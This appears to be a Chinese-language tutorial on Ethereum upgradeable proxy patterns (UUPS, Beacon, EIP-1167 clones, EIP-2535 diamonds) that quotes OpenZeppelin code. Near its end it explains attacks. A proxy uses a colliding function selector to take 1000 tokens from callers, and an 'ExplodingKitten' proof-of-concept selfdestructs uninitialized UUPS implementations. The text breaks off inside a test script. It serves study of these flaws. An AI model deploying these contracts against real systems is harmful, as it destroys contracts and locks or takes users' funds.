// ERC1822proxiableUUID功能的实现。这将返回实现使用的存储槽。它用于验证此实现在升级后是否仍然有效。
// 指向可代理合约的代理本身不应该被认为是可代理的,因为这可能会通过委托给自己直到耗尽gas而破坏升级到它的代理。因此,如果通过代理调用此函数,则该函数恢复至关重要。这是由notDelegated修饰符保证的。
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
return _IMPLEMENTATION_SLOT;
}

/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
// 将代理的实施升级到newImplementation.
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}

/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
// 将代理的实现升级到newImplementation,然后执行编码在 中的函数调用data。
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, data, true);
}

/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
// 当 `msg.sender` 无权升级合约时应该revert的功能。
function _authorizeUpgrade(address newImplementation) internal virtual;
}

Openzeppelin中关于EIP-1822的实现与EIP-1822中的定义并不一致,主要是EIP-1822中定义的插槽位置与EIP-1967中定义的插槽位置不一致导致。openzeppelin选择使用EIP-1967中定义的插槽位置来具体实现。同时EIP-1822也有很明显的缺点,即新来的一个实现合约中只实现了proxiableUUID方法,没有实现updateCodeAddress方法,则合约就无法继续升级,导致所有的代理合约都锁死。

故openzepplin在具体实现时,其实现的具体思路为:提供一个UUPSUpgradeable合约,在该合约中提供合约升级方法:upgradeTo. 与EIP-1822的不同点在于,它取消了proxiableUUID这个flag,增加了_autorizeUpgrade方法,用于授权一个新地址。同时提供了一个upgradeToAndCall方法,用于升级后马上进行初始化操作。

1
2
3
4
5
6
7
8
function upgradeTo(address newImplementation) external virtual {
//第一步检查msg.sender的权限
_authorizeUpgrade(newInplementation);
//第二步执行升级步骤
_upgradeToAndCallSecure(newImplementaion,new bytes(0),false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {}
function _authorizeUpgrade(address newImplementation) internal onlyOwner() {}

其中,openzeppelin通过回滚检测,来检查是否升级成功,避免了EIP-1822中遇到的问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function _upgradeToAndCallSecure(address newImplementation,bytes memory data,bool forceCall) internal {
//第一步:设置newImpl地址到实现合约地址
address oldImplementation = _getImplementation();
_setImplementation(newImplementation);
//第二步:针对新的实现合约地址进行初始化
if (data.length > 0 || forceCall) {
Address.delegateCall(newImplementation, data);
}
//第三步:执行回滚检查
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
//第四步:首先假设触发回滚操作,由新地址重新回滚到旧地址上,再检查升级后的旧地址是否是之前的旧地址,如果是,则说明回滚成功。如果可以回滚成功,说明升级到该新地址是安全的。
if (!rollbackTesting.value) {
//需要执行回滚操作
//即将impl地址由新地址改回旧地址,通过调用新地址上的upgradeTo方法来进行
rollbackTesting.value = true;
Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));
rollbackTesting.value = false;
//检查回滚是否成功
require(oldImplementation == _getImplementation());
//最后设置回新地址,并打log Upgraded(address)
_upgradeTo(newImplementation);
}
}

Beacon

beacon 代码

以上两种代理,都存在一种缺陷,就是如果我要升级一批具有相同逻辑合约的代理合约,那么需要在每个代理合约都执行一遍升级(因为每个代理合约独立存储了 _implementation)。信标合约,就是将所有的具有相同逻辑合约的代理合约的 _implementation 只存一份在信标合约中,所有的代理合约通过和信标合约接口调用,获取 _implementation,这样,在升级的时候,就可以只升级信标合约,就能搞定所有的代理合约的升级。

image-20221104215922504

BeaconProxy

此合约实现一个代理,该代理从可升级信标获取每个调用的实现地址。

信标地址存储在存储插槽中, 因此它不会 与代理后面实现的存储布局冲突。uint256(keccak256('eip1967.proxy.beacon')) - 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/beacon/BeaconProxy.sol)

pragma solidity ^0.8.0;

import "./IBeacon.sol";
import "../Proxy.sol";
import "../ERC1967/ERC1967Upgrade.sol";

/**
* @dev This contract implements a proxy that gets the implementation address for each call from an {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializing the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
// 初始化 beacon 代理
// 如果 `data` 不为空,它会在对信标返回的实现的委托调用中用作数据。 这通常是一个编码的函数调用,并允许像 Solidity 构造函数一样初始化代理的存储
constructor(address beacon, bytes memory data) payable {
_upgradeBeaconToAndCall(beacon, data, false);
}

/**
* @dev Returns the current beacon address.
*/
// 返回当前信标地址
function _beacon() internal view virtual returns (address) {
return _getBeacon();
}

/**
* @dev Returns the current implementation address of the associated beacon.
*/
// 返回关联信标的当前逻辑合约地址
function _implementation() internal view virtual override returns (address) {
return IBeacon(_getBeacon()).implementation();
}

/**
* @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
// 更改代理以使用新信标。已弃用,参阅 _upgradeBeaconToAndCall
function _setBeacon(address beacon, bytes memory data) internal virtual {
_upgradeBeaconToAndCall(beacon, data, false);
}
}

IBeacon

接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)

pragma solidity ^0.8.0;

/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
// 必须返回可用作委托调用目标的地址。
function implementation() external view returns (address);
}

UpgradeableBeacon

本合约与一个或多个信标代理实例结合使用,以确定其 实现协定,这是他们将委派所有函数调用的地方。

所有者能够更改信标指向的实现, 从而升级使用此信标的代理.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/UpgradeableBeacon.sol)

pragma solidity ^0.8.0;

import "./IBeacon.sol";
import "../../access/Ownable.sol";
import "../../utils/Address.sol";

/**
* @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their
* implementation contract, which is where they will delegate all function calls.
*
* An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon.
*/
contract UpgradeableBeacon is IBeacon, Ownable {
address private _implementation;

/**
* @dev Emitted when the implementation returned by the beacon is changed.
*/
event Upgraded(address indexed implementation);

/**
* @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the
* beacon.
*/
// 设置初始实现的地址,部署者帐户为可以升级信标的所有者。
constructor(address implementation_) {
_setImplementation(implementation_);
}

/**
* @dev Returns the current implementation address.
*/
// 返回当前逻辑合约地址
function implementation() public view virtual override returns (address) {
return _implementation;
}

/**
* @dev Upgrades the beacon to a new implementation.
*
* Emits an {Upgraded} event.
*
* Requirements:
*
* - msg.sender must be the owner of the contract.
* - `newImplementation` must be a contract.
*/
// 升级信标
// 要求:msg.sender必须是合同的所有者。newImplementation必须是合同。
function upgradeTo(address newImplementation) public virtual onlyOwner {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}

/**
* @dev Sets the implementation contract address for this beacon
*
* Requirements:
*
* - `newImplementation` must be a contract.
*/
// 设置此信标的实现合约地址
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableBeacon: implementation is not a contract");
_implementation = newImplementation;
}
}

EIP1167

最小代理合约

https://www.youtube.com/watch?v=7H7GVI1gsTc

https://blog.openzeppelin.com/deep-dive-into-the-minimal-proxy-contract/

EIP1167官方文档

不要混淆可升级代理和最小代理,这是非常重要的,它们是完全不同的。

要解决的问题

避免重复部署同样的合约代码,取而代之的是只部署一次合约代码,当需要一份拷贝的时候,就只需要部署一个简单的代理合约。代理合约使用delegatecall来调用合约代码,代理合约有自己的地址、存储插槽和以太余额等。主要目的是为了节约Gas。

EIP-1167标准是为了以不可改变的方式简单而廉价地克隆目标合约的功能,它规定了一个最小的字节码实现,它将所有调用委托给一个已知的固定地址。

img

为了实施这个标准,我们需要:

  • 执行合约:有时被称为基础合约、核心合约、主合约等。重要的是,执行合约是所有逻辑所在的地方。
  • 代理工厂或克隆工厂:顾名思义,克隆工厂合约将是我们的工厂。这意味着用户将调用工厂的一个函数,而工厂将克隆一份实施合同的精确副本,但拥有自己的存储空间。这意味着每个克隆都有相同的逻辑,但存储状态独立。
  • 代理:如前所述,代理合约是实施合约的克隆,但具有独特的存储。

原理

EIP1167 所做的事情可以概括如下,它只是把这个步骤翻译成了字节码形式

  1. 接收请求数据
  2. 将请求数据通过 DELEGATECALL 指令传递给目标实现合约。
  3. 得到合约调用的返回数据
  4. 将结果返回给调用者或者将交易回滚
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (proxy/Clones.sol)

pragma solidity ^0.8.0;

/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
// 部署并返回模仿其行为的克隆的地址 implementation。此函数使用创建操作码,该操作码不应还原。
function clone(address implementation) internal returns (address instance) {
/// @solidity memory-safe-assembly
assembly {
// Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
// of the `implementation` address with the bytecode before the address.
mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))
// Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))
instance := create(0, 0x09, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}

/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
// 部署并返回模仿“实现”行为的克隆的地址。
// 此函数使用 create2 操作码和 `salt` 来确定性地部署克隆。 多次使用相同的 `implementation` 和 `salt` 将 revert,因为克隆不能在同一地址部署两次。
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
/// @solidity memory-safe-assembly
assembly {
// Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes
// of the `implementation` address with the bytecode before the address.
mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))
// Packs the remaining 17 bytes of `implementation` with the bytecode after the address.
mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))
instance := create2(0, 0x09, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}

/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
// 计算使用 {Clones-cloneDeterministic} 部署的克隆的地址。
function predictDeterministicAddress(
address implementation,
bytes32 salt,
address deployer
) internal pure returns (address predicted) {
/// @solidity memory-safe-assembly
assembly {
let ptr := mload(0x40)
mstore(add(ptr, 0x38), deployer)
mstore(add(ptr, 0x24), 0x5af43d82803e903d91602b57fd5bf3ff)
mstore(add(ptr, 0x14), implementation)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73)
mstore(add(ptr, 0x58), salt)
mstore(add(ptr, 0x78), keccak256(add(ptr, 0x0c), 0x37))
predicted := keccak256(add(ptr, 0x43), 0x55)
}
}

/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
// 计算使用 {Clones-cloneDeterministic} 部署的克隆的地址。
function predictDeterministicAddress(address implementation, bytes32 salt)
internal
view
returns (address predicted)
{
return predictDeterministicAddress(implementation, salt, address(this));
}
}

缺点

虽然通过delegatecall的方式将外部对代理合约的调用全部转接到远程合约上,省去了部署一次合约的开销,但是它存在以下问题:

  • 代理合约只拷贝了远程合约的runtime code,由于涉及初始化部分的代码在init code中,故代理合约无法拷贝远程合约的构造函数内的内容,需要一个额外的initialize 函数来初始化代理合约的状态值。
  • delegatecall只能调用public 或者 external的方法,对于其internal 和 private 方法无法调用。所以代理合约相当于只拷贝了远程合约的公开的方法。

您可能听说过parity multisig wallet hack。有多个代理(不是 EIP1167)引用相同的实现。但是,钱包具有自毁功能,可以清空合约的存储空间和代码。不幸的是,Parity 钱包的访问控制存在一个错误,有人意外获得了原始实现的所有权。那并没有直接从其他平价钱包中窃取资产,但随后黑客删除了原始实现,使所有剩余的钱包成为没有功能的外壳,并将资产永久锁定在其中。

应用

我们需要以下合约:

  • 实现:这是我们的逻辑所在的地方,我们将其称为Implementation.sol。
  • CloneFactory:这将是我们的工厂,我们将有一个clone() 函数,用户将触发该函数,工厂将输出代理的地址。工厂的名称将是CloneFactory.sol。
  • 代理:与代理无关,代理将是CloneFactory.sol 中的clone() 函数的输出。可以有尽可能多的不同代理,这就是整个目的,以创建许多Implementation.sol的克隆。

逻辑合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity >= 0.8.0 < 0.9.0;

contract Implementation {
uint public x;
bool public isBase;
address public owner;

modifier onlyOwner() {
require(msg.sender == owner,"ERROR: Only Owner");

_;
}

// 逻辑合约的构造函数应该是无参的
constructor() {
isBase = true;
}

// 一旦创建代理克隆,需要立即调用 initialize 函数
function initialize(address _owner) external {
// 保证该合约只用于逻辑,不会被初始化(代理或者克隆合约不知道构造函数)
require(isBase == false,"ERROR: This the base contract, cannot initialize");
// 确保 initialize 函数只被调用一次
require(owner == address(0),"ERROR: Contract already initialized");
owner = _owner;
}

function setX(uint _newX) external onlyOwner {
x = _newX;
}
}

CloneFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity >= 0.8.0 < 0.9.0;

interface Implementation {
function initialize(address _owner) external;
}

contract CloneFactory {
// 逻辑合约的地址
address public implementation;
// 跟踪所有已部署克隆的映射
mapping(address => address[]) public allClones;
event NewClone(address _newClone, address _owner);

constructor(address _imlementation) {
implementation = _imlementation;
}

// 来自 Open Zeppelin,用于动态创建代理合约并返回新合约的地址
function clone(address _imlementation) internal returns (address instance) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)//32 bytes
mstore(add(ptr, 0x14), shl(0x60, _imlementation)) //20bytes
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)//32 bytes
instance := create(0, ptr, 0x37)
}
require(instance != address(0),"ERC1167: create failed");
}

// 这是用户需要调用的函数
function _clone() external {
address identicalChild = clone(implementation);
allClones[msg.sender].push(identicalChild);
// 这将使 _clone() 函数的调用者成为克隆合约的所有者。
Implementation(identicalChild).initialize(msg.sender);
emit NewClone(identicalChild,msg.sender);
}

function returnClones(address _owner) external view returns (address[] memory) {
return allClones[_owner];
}
}

EIP2535

钻石协议

EIP-2535 取代了 EIP-1538

EIP-2535官方文档

EIP-2535:组织和升级模块化智能合约系统的标准

钻石简介

实现指南

参考实现

使用普通的代理模式,我们可以有效地升级智能合约,但它有一些限制。

  • 如果您只想升级复杂合约的一小部分怎么办?你仍然需要升级到一个全新的逻辑合约。这使得更难看出实际发生了什么变化。
  • 多个代理可以重用逻辑合约,但不是很实用。您只能使用一个逻辑合约创建相同的代理实例。无法组合逻辑合约或仅使用其中的一部分。
  • 您不能拥有模块化的权限系统,例如允许某些实体仅升级现有功能的子集。相反,这是一种全有或全无的方法。
  • 在升级后访问逻辑合约中的数据时必须特别小心,因为代理合约中的数据永远不会随着升级而改变。这意味着如果您要停止在逻辑合约中使用状态变量,您仍然需要将其保留在变量定义中。当您添加状态变量时,您只能将它们附加到定义的末尾。
  • 逻辑合约可以轻松达到 24kb 的最大合约大小限制。

Diamond 标准是最终确定的以太坊改进提案 ( EIP-2535 ),旨在使开发人员更容易模块化和升级他们的智能合约。Diamond 标准的核心思想类似于可升级的智能合约,例如代理模式,但好处是您可以从单个 Diamond 合约(即代理合约)控制许多实施合约(即逻辑合约)。钻石标准的一些主要特点包括:

  • 对n个实现合约进行代理调用的单个网关
  • 以原子方式升级单个或多个智能合约
  • 您可以添加到 Diamond 的实施合同数量没有存储限制
  • 在 Diamond 上进行的所有升级的日志历史记录
  • 可以降低gas成本(即通过减少外部函数调用的次数)

Diamond 合约的三个核心组件包括 DiamondCut、DiamondStorage 以及标准函数和事件,它们允许您查看 Diamond 中的内容以及升级时间。一些已实施 Diamond 标准的协议包括AavegotchiBarnBridgeDerivaDEXOncyber

此外,还有不同类型的钻石,例如:

  • 可升级钻石:可以升级的可变合约
  • Finished Diamond : 由于可升级功能被删除,因此不可变合约
  • 单切钻石:不可再升级的不可变合约

DiamondCut:管理界面

钻石存储必须实现该diamondCut功能。使用此功能,您可以(取消)注册特定逻辑合约的功能。注册函数后,菱形存储可以识别其回退函数中任何调用的函数选择器,检索正确的构面地址,然后为其运行委托调用。

函数选择器冲突是可能的,这意味着两个不同的函数会产生相同的 4 字节函数签名。这很容易通过一个简单的检查来防止,该检查防止添加已经存在的功能选择器。钻石参考实现在升级时执行此检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
interface IDiamondCut {
enum FacetCutAction {Add, Replace, Remove}

struct FacetCut {
address facetAddress;
FacetCutAction action;
bytes4[] functionSelectors;
}

function diamondCut(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata
) external;
}

DiamondStorage:数据保管者

为了避免任何存储槽冲突,我们可以使用一个简单的技巧来存储数据。虽然通常 Solidity 会将数据存储在由状态变量定义的后续槽中,但我们也可以使用程序集显式设置存储槽。

这样做时,我们只需要确保存储槽位于一个不会与其他方面产生冲突的唯一位置。通过散列构面名称可以轻松实现这一点。

现在每当我们想读或写FacetData时,我们不必担心覆盖其他方面的数据,因为我们的存储槽位置是唯一的。当然,您也可以从任何其他方面访问这些数据,您只需要继承FacetA并使用该facetData功能。这就是为什么它对创建可重用的构面特别有帮助。

然而,另一种设计是AppStorage 模式,我们不会在这里详细介绍,但它牺牲了可重用性以略微提高代码可读性。AppStorage 在特定于项目的方面之间共享状态变量时非常有用,并且不会在菱形中用于其他项目或协议。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract FacetA {
struct FacetData {
address owner;
bytes32 dataA;
}

function facetData()
internal
pure
returns(FacetData storage facetData) {
bytes32 storagePosition = keccak256("diamond.storage.FacetA");
assembly {facetData.slot := storagePosition}
}

function setDataA(bytes32 _dataA) external {
FacetData storage facetData = facetData();
require(facetData.owner == msg.sender, "Must be owner.");
facetData.dataA = _dataA;
}

function getDataA() external view returns (bytes32) {
return facetData().dataA;
}
}

DiamondLoupe:找出支持的功能

DiamondLoupe 帮助我们了解 Diamond 合约中的 Facets、函数选择器和 facet 地址所指向的内容。

1
2
3
4
5
6
7
8
9
10
11
interface IDiamondLoupe {
struct Facet {
address facetAddress;
bytes4[] functionSelectors;
}

function facets() external view returns (Facet[] memory facets_);
function facetFunctionSelectors(address _facet) external view returns (bytes4[] memory facetFunctionSelectors_);
function facetAddresses() external view returns (address[] memory facetAddresses_);
function facetAddress(bytes4 _functionSelector) external view returns (address facetAddress_);
}

实现

目前没有通过 Openzeppelin 合约提供的参考实现,但它可能很快就会发生。EIP 作者Nick Mudge创建了三个经过审计 的参考实现:

你应该选择哪一个?他们都做同样的事情,所以这并不重要。如果您计划进行多次升级并关心汽油成本,请考虑使用 diamond-2。它包含一些复杂的按位运算来减少存储空间,每添加 20 个函数将为您节省大约 80,000 个 gas。否则, diamond-1 可能是更好的选择,因为代码更具可读性。

检测是否是代理

在许多情况下,EtherScan 可以检测合约是否被代理:

https://medium.com/etherscan-blog/and-finally-proxy-contract-support-on-etherscan-693e3da0714b

https://etherscan.io/proxyContractChecker

在 EtherScan 上查看合约时,在“合约”选项卡下,如果 Etherscan 知道合约被代理,那么您将不仅有“读取合约”和“写入合约”,还有“通过代理读取合约”和“写入合约”通过代理”或类似的。

如果代理代码已更新,Etherscan 将向您显示代码的先前版本的合约地址,以便用户可以检查所有版本的更改。

函数冲突

当心代理:学习如何利用函数冲突

函数冲突解释

复现

测试题解

函数选择器

[在以太坊虚拟机中] 每个函数都由其 Keccak-256 哈希的前 4 个字节标识。通过将函数的名称和它接受的参数放入 keccak256 哈希函数中,我们可以推断出它的函数标识符。

solidity 计算函数选择器

1
abi.encodeWithSignature("store(uint256)",10)

ethers.js 计算函数选择器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const ethers = require('ethers')

//函数功能: 计算函数选择器
//input: funcHead 是函数头部申明,去掉""funcion"关键字,去掉参数名字,只
// 保留函数名+参数类型,去掉所有的空格
//return: 返回4个字节的字符串
function getFunctionSeletor(funcHead) {
return ethers.utils.id(funcHead).slice(0,10)
}

function doMain() {
//1)计算函数选择器
//原函数:function allowance(address owner, address spender)
//精简化: allowance(address,address)
strfunc = 'allowance(address,address)'
funcSeletor = getFunctionSeletor(strfunc)
res = strfunc + '='
console.log(res,funcSeletor)
}

ethers.js 计算事件选择器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const ethers = require('ethers')

//函数功能: 计算事件选择器
//input: eventHead 是事件头部申明,去掉""event"关键字,去掉参数名字,只
// 保留事件名+参数类型,去掉所有的空格
//return: 返回32个字节的字符串
function getEventSelector(eventHead) {
return ethers.utils.id(eventHead)
}

function doMain() {
//2) 计算事件选择器
//原事件: event Approval(address owner, address spender, uint256 value)
//精简化: Approval(address,address,uint256)
strEvent = 'Approval(address,address,uint256)'
eventSelector = getEventSelector(strEvent)
res2 = strEvent + '='
console.log(res2,eventSelector)
}

冲突

这里是一个有问题的代理合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pragma solidity ^0.5.0;

contract Proxy {

address public proxyOwner;
address public implementation;

constructor(address implementation) public {
proxyOwner = msg.sender;
_setImplementation(implementation);
}

modifier onlyProxyOwner() {
require(msg.sender == proxyOwner);
_;
}

function upgrade(address implementation) external onlyProxyOwner {
_setImplementation(implementation);
}

function _setImplementation(address imp) private {
implementation = imp;
}

function () payable external {
address impl = implementation;

assembly {
calldatacopy(0, 0, calldatasize)
let result := delegatecall(gas, impl, 0, calldatasize, 0, 0)
returndatacopy(0, 0, returndatasize)

switch result
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}

// This is the function we're adding now
function collate_propagate_storage(bytes16) external {
implementation.delegatecall(abi.encodeWithSignature(
"transfer(address,uint256)", proxyOwner, 1000
));
}
}

这里的 collate_propagate_storage(bytes16) 和 burn(uint256) 的函数选择器完全相同,都为 0x42966c68

由于 burn 调用是通过代理完成的,因此 EVM 将首先检查代理代码中是否有标识符与 0x42966c68 匹配的函数。 如果没有,则将执行代理的回退函数并将调用委托给存储在实现中的地址。

但是,在这种情况下,代理确实包含一个标识符与0x42966c68:匹配的函数collate_propagate_storage(bytes16)。结果,它被执行了。

让我们记住它的样子:

1
2
3
4
5
function collate_propagate_storage(bytes16) external {
implementation.delegatecall(abi.encodeWithSignature(
"transfer(address,uint256)", proxyOwner, 1000
));
}

所以该函数实际上会强制调用者将 transfer 1000 个令牌交给代理的所有者!.

图片

用户只想烧掉一个代币,结果却少了 1000 个代币。

防御

  • Slither 有一个非常好的插件,它可以立即检测两个合约(代理和实现)之间的功能冲突。
  • 此漏洞现在已经不会发生,因为透明代理模式解决了这个问题

未初始化

逻辑合约未初始化,且含有 selfdestruct 函数

也就是一种拒绝服务 (DOS) 攻击

Paradigm CTF 2021 - vault

Wormhole的实际漏洞情况

UUPS中的漏洞分析

官方公告

UUPSUpgradeable 漏洞事后分析

该漏洞存在于升级函数中的 DELEGATECALL 指令中,由 UUPSUpgradeable 基础合约暴露。如此处所述 83, aDELEGATECALL可以被攻击者利用,方法是让实施合约调用另一个SELFDESTRUCT本身为 s 的合约,导致调用者被销毁。

给定一个 UUPS 实现合约,攻击者可以初始化它 88并指定自己为升级管理员。这允许他们调用upgradeToAndCall 42直接在实现上运行,而不是在代理上运行,并将其用于DELEGATECALL带有SELFDESTRUCT操作的恶意合约。

如果攻击成功,则此实现支持的任何代理合约都将无法使用,因为对它们的任何调用都会委托给一个没有可执行代码的地址。此外,由于升级逻辑驻留在实现中而不是代理中,因此不可能将代理升级到有效的实现。这有效地破坏了合约,并阻碍了对其持有的任何资产的访问。

漏洞利用的工作概念证明

问题合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";

contract SimpleToken is Initializable, ERC20Upgradeable, OwnableUpgradeable, UUPSUpgradeable {
/// @custom:oz-upgrades-unsafe-allow constructor
// constructor() initializer {}
//这里不应该出现constructor 的初始化,但是initializer事实上只是进行了一个判断,即该函数的调用过程是否在初始化过程中involve了,它并没有进行状态的改变。

function initialize() initializer public {
__ERC20_init("testToken", "MTK");
__Ownable_init();
__UUPSUpgradeable_init();
}

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function _authorizeUpgrade(address newImplementation)
internal
onlyOwner
override
{}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";

// Fun Fact: An ExplodingKitten can be exploded by another ExplodingKitten
contract ExplodingKitten is UUPSUpgradeable {
bytes32 private constant _ROLLBACK_SLOT =
0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;

function explode() public {
StorageSlotUpgradeable.BooleanSlot
storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(
_ROLLBACK_SLOT
);
rollbackTesting.value = true;
selfdestruct(payable(msg.sender));
}

// Any can call upgrade
function _authorizeUpgrade(address newImplementation) internal override {}
}

ts 测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import { expect } from "chai";
import { utils } from "ethers";
import { ethers, upgrades } from "hardhat";

const IMPLEMENTATION_SLOT =
"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc";

const getImplementationAddress = async (proxyAddress: string) => {
const implementationAddressFromStorage = await ethers.provider.getStorageAt(
proxyAddress,
IMPLEMENTATION_SLOT
);
return utils.getAddress(
